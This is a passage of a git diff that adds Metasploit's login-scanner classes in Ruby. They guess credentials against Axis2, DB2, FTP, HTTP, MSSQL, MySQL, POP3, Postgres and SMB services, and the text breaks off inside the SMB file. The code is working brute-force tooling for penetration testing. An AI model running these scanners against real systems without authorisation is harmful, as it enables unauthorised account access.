mode 100644 index 0000000000..ef34c31040 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/axis2.rb @@ -0,0 +1,67 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Axis2 < HTTP + + DEFAULT_PORT = 8080 + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + + CAN_GET_SESSION = true + PRIVATE_TYPES = [ :password ] + + # (see Base#attempt_login) + def attempt_login(credential) + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version + ) + + result_opts = { + credential: credential + } + begin + http_client.connect + body = "userName=#{Rex::Text.uri_encode(credential.public)}&password=#{Rex::Text.uri_encode(credential.private)}&submit=+Login+" + request = http_client.request_cgi( + 'uri' => uri, + 'method' => "POST", + 'data' => body, + ) + response = http_client.send_recv(request) + + if response && response.code == 200 && response.body.include?("upload") + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response) + else + result_opts.merge!(status: Metasploit::Model::Login::Status::INCORRECT, proof: response) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + end + + Result.new(result_opts) + + end + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/axis2/axis2-admin/login" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] + def method=(_) + raise RuntimeError, "Method must be POST for Axis2" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/base.rb b/lib/metasploit/framework/login_scanner/base.rb new file mode 100644 index 0000000000..2d40fb948d --- /dev/null +++ b/lib/metasploit/framework/login_scanner/base.rb @@ -0,0 +1,222 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the base behaviour for all of + # the LoginScanner classes. All of the LoginScanners + # should include this module to establish base behaviour + module Base + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute connection_timeout + # @return [Fixnum] The timeout in seconds for a single SSH connection + attr_accessor :connection_timeout + # @!attribute cred_details + # @return [CredentialCollection] Collection of Credential objects + attr_accessor :cred_details + # @!attribute host + # @return [String] The IP address or hostname to connect to + attr_accessor :host + # @!attribute port + # @return [Fixnum] The port to connect to + attr_accessor :port + # @!attribute proxies + # @return [String] The proxy directive to use for the socket + attr_accessor :proxies + # @!attribute stop_on_success + # @return [Boolean] Whether the scanner should stop when it has found one working Credential + attr_accessor :stop_on_success + + validates :connection_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :cred_details, presence: true + + validates :host, presence: true + + validates :port, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1, + less_than_or_equal_to: 65535 + } + + validates :stop_on_success, + inclusion: { in: [true, false] } + + validate :host_address_must_be_valid + + validate :validate_cred_details + + # @param attributes [Hash{Symbol => String,nil}] + def initialize(attributes={}) + attributes.each do |attribute, value| + public_send("#{attribute}=", value) + end + set_sane_defaults + end + + # Attempt a single login against the service with the given + # {Credential credential}. + # + # @param credential [Credential] The credential object to attmpt to + # login with + # @return [Result] A Result object indicating success or failure + # @abstract Protocol-specific scanners must implement this for their + # respective protocols + def attempt_login(credential) + raise NotImplementedError + end + + + def each_credential + cred_details.each do |raw_cred| + # This could be a Credential object, or a Credential Core, or an Attempt object + # so make sure that whatever it is, we end up with a Credential. + credential = raw_cred.to_credential + + if credential.realm.present? && self.class::REALM_KEY.present? + credential.realm_key = self.class::REALM_KEY + yield credential + elsif credential.realm.blank? && self.class::REALM_KEY.present? && self.class::DEFAULT_REALM.present? + credential.realm_key = self.class::REALM_KEY + credential.realm = self.class::DEFAULT_REALM + yield credential + elsif credential.realm.present? && self.class::REALM_KEY.blank? + second_cred = credential.dup + # Strip the realm off here, as we don't want it + credential.realm = nil + credential.realm_key = nil + yield credential + # Some services can take a domain in the username like this even though + # they do not explicitly take a domain as part of the protocol. + second_cred.public = "#{second_cred.realm}\\#{second_cred.public}" + second_cred.realm = nil + second_cred.realm_key = nil + yield second_cred + else + yield credential + end + end + end + + # Attempt to login with every {Credential credential} in + # {#cred_details}, by calling {#attempt_login} once for each. + # + # If a successful login is found for a user, no more attempts + # will be made for that user. + # + # @yieldparam result [Result] The {Result} object for each attempt + # @yieldreturn [void] + # @return [void] + def scan! + valid! + + # Keep track of connection errors. + # If we encounter too many, we will stop. + consecutive_error_count = 0 + total_error_count = 0 + + successful_users = Set.new + + each_credential do |credential| + # For Pro bruteforce Reuse and Guess we need to note that we skipped an attempt. + if successful_users.include?(credential.public) + if credential.parent.respond_to?(:skipped) + credential.parent.skipped = true + credential.parent.save! + end + next + end + + result = attempt_login(credential) + result.freeze + + yield result if block_given? + + if result.success? + consecutive_error_count = 0 + break if stop_on_success + successful_users << credential.public + else + if result.status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + consecutive_error_count += 1 + total_error_count += 1 + break if consecutive_error_count >= 3 + break if total_error_count >= 10 + end + end + end + nil + end + + # Raise an exception if this scanner's attributes are not valid. + # + # @raise [Invalid] if the attributes are not valid on this scanner + # @return [void] + def valid! + unless valid? + raise Metasploit::Framework::LoginScanner::Invalid.new(self) + end + nil + end + + + private + + # This method validates that the host address is both + # of a valid type and is resolveable. + # @return [void] + def host_address_must_be_valid + if host.kind_of? String + begin + resolved_host = ::Rex::Socket.getaddress(host, true) + if host =~ /^\d{1,3}(\.\d{1,3}){1,3}$/ + unless host =~ Rex::Socket::MATCH_IPV4 + errors.add(:host, "could not be resolved") + end + end + self.host = resolved_host + rescue + errors.add(:host, "could not be resolved") + end + else + errors.add(:host, "must be a string") + end + end + + # This is a placeholder method. Each LoginScanner class + # will override this with any sane defaults specific to + # its own behaviour. + # @abstract + # @return [void] + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + end + + # This method validates that the credentials supplied + # are all valid. + # @return [void] + def validate_cred_details + unless cred_details.respond_to? :each + errors.add(:cred_details, "must respond to :each") + end + end + + end + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/db2.rb b/lib/metasploit/framework/login_scanner/db2.rb new file mode 100644 index 0000000000..889a15d3dc --- /dev/null +++ b/lib/metasploit/framework/login_scanner/db2.rb @@ -0,0 +1,134 @@ +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with DB2 Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class DB2 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 50000 + DEFAULT_REALM = 'toolsdb' + LIKELY_PORTS = [ DEFAULT_PORT ] + # @todo XXX + LIKELY_SERVICE_NAMES = [ ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::DB2_DATABASE + + # @see Base#attempt_login + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + probe_data = send_probe(credential.realm) + + if probe_data.empty? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if authenticate?(credential) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + end + rescue ::Rex::ConnectionError, ::Rex::ConnectionTimeout, ::Rex::Proto::DRDA::RespError,::Timeout::Error => e + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: e.message + }) + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + # This method takes the credential and actually attempts the authentication + # @param credential [Credential] The Credential object to authenticate with. + # @return [Boolean] Whether the authentication was successful + def authenticate?(credential) + # Send the login packet and get a response packet back + login_packet = Rex::Proto::DRDA::Utils.client_auth(:dbname => credential.realm, + :dbuser => credential.public, + :dbpass => credential.private + ) + sock.put login_packet + response = sock.get_once + if valid_response?(response) + if successful_login?(response) + true + else + false + end + else + false + end + end + + # This method opens a socket to the target DB2 server. + # It then sends a client probe on that socket to get information + # back on the server. + # @param database_name [String] The name of the database to probe + # @return [Hash] A hash containing the server information from the probe reply + def send_probe(database_name) + disconnect if self.sock + connect + + probe_packet = Rex::Proto::DRDA::Utils.client_probe(database_name) + sock.put probe_packet + response = sock.get_once + + response_data = {} + if valid_response?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + response_data = Rex::Proto::DRDA::Utils.server_packet_info(packet) + end + response_data + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + self.ssl = false if self.ssl.nil? + end + + # This method takes a response packet and checks to see + # if the authentication was actually successful. + # + # @param response [String] The unprocessed response packet + # @return [Boolean] Whether the authentication was successful + def successful_login?(response) + packet = Rex::Proto::DRDA::SERVER_PACKET.new.read(response) + packet_info = Rex::Proto::DRDA::Utils.server_packet_info(packet) + if packet_info[:db_login_success] + true + else + false + end + end + + # This method provides a simple test on whether the response + # packet was valid. + # + # @param response [String] The response to examine from the socket + # @return [Boolean] Whether the response is valid + def valid_response?(response) + response && response.length > 0 + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ftp.rb b/lib/metasploit/framework/login_scanner/ftp.rb new file mode 100644 index 0000000000..3ac0a4d696 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ftp.rb @@ -0,0 +1,76 @@ +require 'metasploit/framework/ftp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with FTP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class FTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Ftp::Client + + DEFAULT_PORT = 21 + LIKELY_PORTS = [ DEFAULT_PORT, 2121 ] + LIKELY_SERVICE_NAMES = [ 'ftp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute ftp_timeout + # @return [Fixnum] The timeout in seconds to wait for a response to an FTP command + attr_accessor :ftp_timeout + + validates :ftp_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + + + # (see Base#attempt_login) + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + success = connect_login(credential.public, credential.private) + rescue ::EOFError, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + success = false + end + + + if success + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + elsif !(result_options.has_key? :status) + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + self.ftp_timeout ||= 16 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/http.rb b/lib/metasploit/framework/login_scanner/http.rb new file mode 100644 index 0000000000..4518ef2ef5 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/http.rb @@ -0,0 +1,123 @@ +require 'rex/proto/http' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # + # HTTP-specific login scanner. + # + class HTTP + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + + DEFAULT_REALM = nil + DEFAULT_PORT = 80 + DEFAULT_SSL_PORT = 443 + LIKELY_PORTS = [ 80, 443, 8000, 8080 ] + LIKELY_SERVICE_NAMES = [ 'http', 'https' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute uri + # @return [String] The path and query string on the server to + # authenticate to. + attr_accessor :uri + + # @!attribute uri + # @return [String] HTTP method, e.g. "GET", "POST" + attr_accessor :method + + validates :uri, presence: true, length: { minimum: 1 } + + validates :method, + presence: true, + length: { minimum: 1 } + + # Attempt a single login with a single credential against the target. + # + # @param credential [Credential] The credential object to attempt to + # login with. + # @return [Result] A Result object indicating success or failure + def attempt_login(credential) + ssl = false if ssl.nil? + + result_opts = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil + } + + http_client = Rex::Proto::Http::Client.new( + host, port, {}, ssl, ssl_version, + nil, credential.public, credential.private + ) + if credential.realm + http_client.set_config('domain' => credential.realm) + end + + begin + http_client.connect + request = http_client.request_cgi( + 'uri' => uri, + 'method' => method + ) + + # First try to connect without logging in to make sure this + # resource requires authentication. We use #_send_recv for + # that instead of #send_recv. + response = http_client._send_recv(request) + if response && response.code == 401 && response.headers['WWW-Authenticate'] + # Now send the creds + response = http_client.send_auth( + response, request.opts, connection_timeout, true + ) + if response && response.code == 200 + result_opts.merge!(status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: response.headers) + end + else + result_opts.merge!(status: Metasploit::Model::Login::Status::NO_AUTH_REQUIRED) + end + rescue ::EOFError, Rex::ConnectionError, ::Timeout::Error + result_opts.merge!(status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + ensure + http_client.close + end + + Result.new(result_opts) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 20 + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.uri = '/' if self.uri.blank? + self.method = 'GET' if self.method.blank? + + # Note that this doesn't cover the case where ssl is unset and + # port is something other than a default. In that situtation, + # we don't know what the user has in mind so we have to trust + # that they're going to do something sane. + if !(self.ssl) && self.port.nil? + self.port = self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl && self.port.nil? + self.port = self.class::DEFAULT_SSL_PORT + elsif self.ssl.nil? && self.port == self.class::DEFAULT_PORT + self.ssl = false + elsif self.ssl.nil? && self.port == self.class::DEFAULT_SSL_PORT + self.ssl = true + end + + nil + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/invalid.rb b/lib/metasploit/framework/login_scanner/invalid.rb new file mode 100644 index 0000000000..73799a0479 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/invalid.rb @@ -0,0 +1,22 @@ +module Metasploit + module Framework + module LoginScanner + + # This class is the generic Exception raised by LoginScanners when + # they fail validation. It rolls up all validation errors into a + # single exception so that all errors can be dealt with at once. + class Invalid < StandardError + + attr_reader :model + + def initialize(model) + @model = model + + errors = @model.errors.full_messages.join(', ') + super(errors) + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mssql.rb b/lib/metasploit/framework/login_scanner/mssql.rb new file mode 100644 index 0000000000..ef2785e5ed --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mssql.rb @@ -0,0 +1,74 @@ +require 'metasploit/framework/mssql/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Microsoft SQL Servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results + class MSSQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + include Metasploit::Framework::MSSQL::Client + + DEFAULT_PORT = 1433 + DEFAULT_REALM = 'WORKSTATION' + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_PORTS = [ 1433, 1434, 1435, 14330, 2533, 9152, 2638 ] + # Lifted from lib/msf/core/exploit/mssql.rb + LIKELY_SERVICE_NAMES = [ 'ms-sql-s', 'ms-sql2000', 'sybase' ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + # @!attribute windows_authentication + # @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth. + attr_accessor :windows_authentication + + validates :windows_authentication, + inclusion: { in: [true, false] } + + def attempt_login(credential) + result_options = { + credential: credential + } + + begin + if mssql_login(credential.public, credential.private, '', credential.realm) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + rescue ::Rex::ConnectionError + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + + # Don't use ||= with booleans + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.use_lmkey = false if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + self.windows_authentication = false if self.windows_authentication.nil? + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/mysql.rb b/lib/metasploit/framework/login_scanner/mysql.rb new file mode 100644 index 0000000000..6212cd8b12 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/mysql.rb @@ -0,0 +1,91 @@ +require 'metasploit/framework/tcp/client' +require 'rbmysql' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with MySQL Database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class MySQL + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 3306 + LIKELY_PORTS = [ 3306 ] + LIKELY_SERVICE_NAMES = [ 'mysql' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + def attempt_login(credential) + result_options = { + credential: credential + } + + # manage our behind the scenes socket. Close any existing one and open a new one + disconnect if self.sock + connect + + begin + ::RbMysql.connect({ + :host => host, + :port => port, + :read_timeout => 300, + :write_timeout => 300, + :socket => sock, + :user => credential.public, + :password => credential.private, + :db => '' + }) + rescue Errno::ECONNREFUSED + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection refused" + }) + rescue RbMysql::ClientError + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Connection timeout" + }) + rescue Errno::ETIMEDOUT + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Operation Timed out" + }) + rescue RbMysql::HostNotPrivileged + result_options.merge!({ + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, + proof: "Unable to login from this host due to policy" + }) + rescue RbMysql::AccessDeniedError + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Access Denied" + }) + end + + unless result_options[:status] + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ntlm.rb b/lib/metasploit/framework/login_scanner/ntlm.rb new file mode 100644 index 0000000000..73cdfef6dc --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ntlm.rb @@ -0,0 +1,61 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This Concern provides the basic accessors and validations + # for protocols that require the use of NTLM for Authentication. + module NTLM + extend ActiveSupport::Concern + include ActiveModel::Validations + + included do + # @!attribute send_lm + # @return [Boolean] Whether to always send the LANMAN response(except if using NTLM2 Session) + attr_accessor :send_lm + + # @!attribute send_ntlm + # @return [Boolean] Whether to use NTLM responses + attr_accessor :send_ntlm + + # @!attribute send_spn + # @return [Boolean] Whether to support SPN for newer Windows OSes + attr_accessor :send_spn + + # @!attribute use_lmkey + # @return [Boolean] Whether to negotiate with a LANMAN key + attr_accessor :use_lmkey + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLM2 session + attr_accessor :use_ntlm2_session + + # @!attribute send_lm + # @return [Boolean] Whether to force the use of NTLMv2 instead of NTLM2 Session + attr_accessor :use_ntlmv2 + + validates :send_lm, + inclusion: { in: [true, false] } + + validates :send_ntlm, + inclusion: { in: [true, false] } + + validates :send_spn, + inclusion: { in: [true, false] } + + validates :use_lmkey, + inclusion: { in: [true, false] } + + validates :use_ntlm2_session, + inclusion: { in: [true, false] } + + validates :use_ntlmv2, + inclusion: { in: [true, false] } + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/pop3.rb b/lib/metasploit/framework/login_scanner/pop3.rb new file mode 100644 index 0000000000..9bf9491029 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/pop3.rb @@ -0,0 +1,87 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with POP3. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class POP3 + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 110 + LIKELY_PORTS = [ 110, 995 ] + LIKELY_SERVICE_NAMES = [ 'pop3', 'pop3s' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT + } + + disconnect if self.sock + + begin + connect + select([sock],nil,nil,0.4) + + # Check to see if we recieved an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + # Dovecot has a failed-auth penalty system that maxes at + # sleeping for 15 seconds before sending responses to the + # PASS command, so bump the timeout to 16. + result_options[:proof] = sock.get_once(-1, 16) + + if result_options[:proof] && result_options[:proof][/^\+OK.*/] + # if the pass gives an OK, were good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + end + + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/postgres.rb b/lib/metasploit/framework/login_scanner/postgres.rb new file mode 100644 index 0000000000..a5cc685ed2 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/postgres.rb @@ -0,0 +1,79 @@ +require 'metasploit/framework/login_scanner/base' +require 'postgres_msf' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with PostgreSQL database servers. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Postgres + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 5432 + DEFAULT_REALM = 'template1' + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'postgres' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential + } + + db_name = credential.realm || 'template1' + + if ::Rex::Socket.is_ipv6?(host) + uri = "tcp://[#{host}]:#{port}" + else + uri = "tcp://#{host}:#{port}" + end + + pg_conn = nil + + begin + pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri) + rescue RuntimeError => e + case e.to_s.split("\t")[1] + when "C3D000" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "C3D000, Creds were good but database was bad" + }) + when "C28000", "C28P01" + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: "Invalid username or password" + }) + else + result_options.merge!({ + status: Metasploit::Model::Login::Status::INCORRECT, + proof: e.message + }) + end + end + + if pg_conn + pg_conn.close + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + end + + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/result.rb b/lib/metasploit/framework/login_scanner/result.rb new file mode 100644 index 0000000000..9f520ef15b --- /dev/null +++ b/lib/metasploit/framework/login_scanner/result.rb @@ -0,0 +1,54 @@ +module Metasploit + module Framework + module LoginScanner + + # The Result class provides a standard structure in which + # LoginScanners can return the result of a login attempt + + class Result + include ActiveModel::Validations + + # @!attribute [r] access_level + # @return [String] the access level gained + attr_reader :access_level + # @!attribute [r] credential + # @return [Credential] the Credential object the result is for + attr_reader :credential + # @!attribute [r] proof + # @return [String,nil] the proof that the lgoin was successful + attr_reader :proof + # @!attribute [r] status + # @return [String] the status of the attempt. Should be a member of `Metasploit::Model::Login::Status::ALL` + attr_reader :status + + validates :status, + inclusion: { + in: Metasploit::Model::Login::Status::ALL + } + + # @param [Hash] opts The options hash for the initializer + # @option opts [String] :private The private credential component + # @option opts [String] :proof The proof that the login was successful + # @option opts [String] :public The public credential component + # @option opts [String] :realm The realm credential component + # @option opts [String] :status The status code returned + def initialize(opts= {}) + @access_level = opts.fetch(:access_level, nil) + @credential = opts.fetch(:credential) + @proof = opts.fetch(:proof, nil) + @status = opts.fetch(:status) + end + + def success? + status == Metasploit::Model::Login::Status::SUCCESSFUL + end + + def inspect + "#<#{self.class} #{credential.public}:#{credential.private}@#{credential.realm} #{status} >" + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/rex_socket.rb b/lib/metasploit/framework/login_scanner/rex_socket.rb new file mode 100644 index 0000000000..da92873a02 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/rex_socket.rb @@ -0,0 +1,64 @@ +require 'metasploit/framework/login_scanner' + +module Metasploit + module Framework + module LoginScanner + + # This module provides the common mixin behaviour for + # LoginScanner objects that rely on Rex Sockets for their + # underlying communication. + module RexSocket + extend ActiveSupport::Concern + + included do + + # @!attribute max_send_size + # @return [Fixnum] The max size of the data to encapsulate in a single packet + attr_accessor :max_send_size + # @!attribute send_delay + # @return [Fixnum] The delay between sending packets + attr_accessor :send_delay + # @!attribute ssl + # @return [Boolean] Whether the socket should use ssl + attr_accessor :ssl + # @!attribute ssl_version + # @return [String] The version of SSL to implement + attr_accessor :ssl_version + + validates :max_send_size, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :send_delay, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 0 + } + + + private + + def chost + '0.0.0.0' + end + + def cport + 0 + end + + def rhost + host + end + + def rport + port + end + end + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/smb.rb b/lib/metasploit/framework/login_scanner/smb.rb new file mode 100644 index 0000000000..0daa4ad0f2 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/smb.rb @@ -0,0 +1,265 @@ +require 'rex/proto/smb' +require 'metasploit/framework' +require 'metasploit/framework/tcp/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/ntlm' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Server Messaging + # Block protocol. + class SMB + include Metasploit::Framework::Tcp::Client + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::LoginScanner::NTLM + + # Constants to be used in {Result#access_level} + module AccessLevels + # Administrative access. For SMB, this is defined as being + # able to successfully Tree Connect to the `ADMIN$` share. + # This definition is not without its problems, but suffices to + # conclude that such a user will most likely be able to use + # psexec. + ADMINISTRATOR = "Administrator" + # Guest access means our creds were accepted but the logon + # session is not associated with a real user account. + GUEST = "Guest" + end + + CAN_GET_SESSION = true + DEFAULT_REALM = 'WORKSTATION' + LIKELY_PORTS = [ 139, 445 ] + LIKELY_SERVICE_NAMES = [ "smb" ] + PRIVATE_TYPES = [ :password, :ntlm_hash ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + + module StatusCodes + CORRECT_CREDENTIAL_STATUS_CODES = [ + "STATUS_ACCOUNT_DISABLED", + "STATUS_ACCOUNT_EXPIRED", + 